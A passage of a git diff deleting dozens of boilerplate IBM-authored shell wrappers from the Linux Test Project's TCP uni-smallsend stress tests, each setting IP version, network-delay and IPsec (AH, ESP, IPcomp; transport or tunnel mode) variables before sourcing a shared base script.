- -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend04 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05 deleted file mode 100644 index d603b351..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend05 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend05 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend05 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06 deleted file mode 100644 index cbe7f00e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend06 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend06 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend06 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07 deleted file mode 100644 index a6ac67c2..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend07 +++ /dev/null @@ -1,67 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend07 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend07 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08 deleted file mode 100644 index 0fa00cda..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend08 +++ /dev/null @@ -1,62 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend08 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend08 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09 deleted file mode 100644 index a3abcd1c..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend09 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend09 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend09 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10 deleted file mode 100644 index fd746fa3..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend10 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend10 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend10 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11 deleted file mode 100644 index 813caf0d..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend11 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend11 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend11 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12 deleted file mode 100644 index 2618a802..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend12 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend12 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend12 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13 deleted file mode 100644 index 8e459947..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend13 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend13 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend13 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14 deleted file mode 100644 index afb8c966..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp4-uni-smallsend14 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp4-uni-smallsend14 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - Network is delayed -# - IPcomp, tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp4-uni-smallsend14 - -# The version of IP -IP_VER=4 - -# true, if network is delayed -DO_NET_DELAY=true - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01 deleted file mode 100644 index 00e44211..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend01 +++ /dev/null @@ -1,61 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend01 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend01 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=false - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02 deleted file mode 100644 index af1cc329..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend02 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend02 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend02 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03 deleted file mode 100644 index 097668de..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend03 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend03 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - IPsec(AH), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend03 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ah - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04 deleted file mode 100644 index 1569af2e..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend04 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend04 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend04 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05 deleted file mode 100644 index dfd0e146..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend05 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend05 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - IPsec(ESP), tunnel mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend05 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=esp - -# IPsec Mode -IPSEC_MODE=tunnel - -. tcp4-uni-smallsend01 diff --git a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06 b/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06 deleted file mode 100644 index c17250eb..00000000 --- a/ltp/testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend06 +++ /dev/null @@ -1,68 +0,0 @@ -#!/bin/sh - -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2005 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -## ## -################################################################################ -# -# File: -# tcp6-uni-smallsend06 -# -# Description: -# This test is simlar to tcp4-uni-smallsend01 except for the following: -# - The version of IP is IPv6 -# - IPcomp, transport mode -# -# Setup: -# See testcases/network/stress/README -# -# Author: -# Mitsuru Chinen <mitch@jp.ibm.com> -# -# History: -# Oct 19 2005 - Created (Mitsuru Chinen) -# -#----------------------------------------------------------------------- -# Uncomment line below for debug output. -#trace_logic=${trace_logic:-"set -x"} -$trace_logic - -# -# Variables -- Changed by each uni-smallsend testcase -# - -# The test case ID -TCID=tcp6-uni-smallsend06 - -# The version of IP -IP_VER=6 - -# true, if network is delayed -DO_NET_DELAY=false - -# true, if ipsec is used -DO_IPSEC=true - -# IPsec Protocol -IPSEC_PROTO=ipcomp - -# IPsec Mode -IPSEC_MODE=transport - -. tcp4-uni-smallsend01 diff --git 